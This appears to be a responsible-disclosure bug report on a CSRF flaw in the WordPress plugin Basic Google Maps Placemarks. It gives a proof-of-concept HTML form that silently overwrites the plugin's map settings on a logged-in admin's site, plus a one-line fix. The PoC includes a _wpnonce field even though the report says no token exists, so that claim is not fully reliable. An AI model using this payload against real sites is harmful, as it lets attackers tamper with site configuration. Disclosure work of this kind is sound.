Ian Dunn · Report #153580
CSRF in changing settings of Basic Google Maps Placemarks
How it was found
Hey, this is Ahsan Tahir!
I was just pentesting Basic Google Maps Placemarks in Wordpress, I found a CSRF (Cross-Site Request Forgery) So, by exploiting this CSRF issue, an attacker can edit the settings (e.g Map Width, Map Height, Map Center Address etc..)
#PoC There is not CSRF token/Authentication token when changing settings of Basic Google Maps Placemarks (http://localhost/wordpress/wp-admin/options-general.php?page=bgmp_settings)
So, we can exploit it with the following code:
Exploit Code
<html>
<body>
<form action="http://localhost/wordpress/wp-admin/options.php" method="POST">
<input type="hidden" name="option_page" value="bgmp_settings" />
<input type="hidden" name="action" value="update" />
<input type="hidden" name="_wpnonce" value="a9ef057ff9" />
<input type="hidden" name="_wp_http_referer" value="/wordpress/wp-admin/options-general.php?page=bgmp_settings" />
<input type="hidden" name="bgmp_map-width" value="testing" />
<input type="hidden" name="bgmp_map-height" value="testing" />
<input type="hidden" name="bgmp_map-address" value="testing" />
<input type="hidden" name="bgmp_map-zoom" value="7" />
<input type="hidden" name="bgmp_map-type" value="ROADMAP" />
<input type="hidden" name="bgmp_map-type-control" value="off" />
<input type="hidden" name="bgmp_map-navigation-control" value="DEFAULT" />
<input type="hidden" name="bgmp_map-info-window-width" value="testing" />
<input type="hidden" name="bgmp_cluster-max-zoom" value="testing" />
<input type="hidden" name="bgmp_cluster-grid-size" value="testing" />
<input type="hidden" name="bgmp_cluster-style" value="default" />
<input type="hidden" name="submit" value="Save Changes" />
<input type="hidden" name="closedpostboxesnonce" value="faa425ff22" />
<input type="hidden" name="_wp_http_referer" value="/wordpress/wp-admin/options-general.php?page=bgmp_settings" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
If you run above HTML code in your browser, when you are logged in to your wordpress, and click on submit request, every value of http://localhost/wordpress/wp-admin/options-general.php?page=bgmp_settings will be set to "testing"
This one is a small, but effective CSRF; effective because if anyone tricks the admin into clicking the button, or even visiting the page (JavaScript is used in that type of exploit code!) The settings will be changed automatically!
How to Fix?
The fix is simple, add a CSRF token in the request/form for editing the settings of Basic Google Maps Placemarks!
Hoping for your positive response! ✌
If you have any other questions or if anything needs clarification, please let me know.
Cheers, Ahsan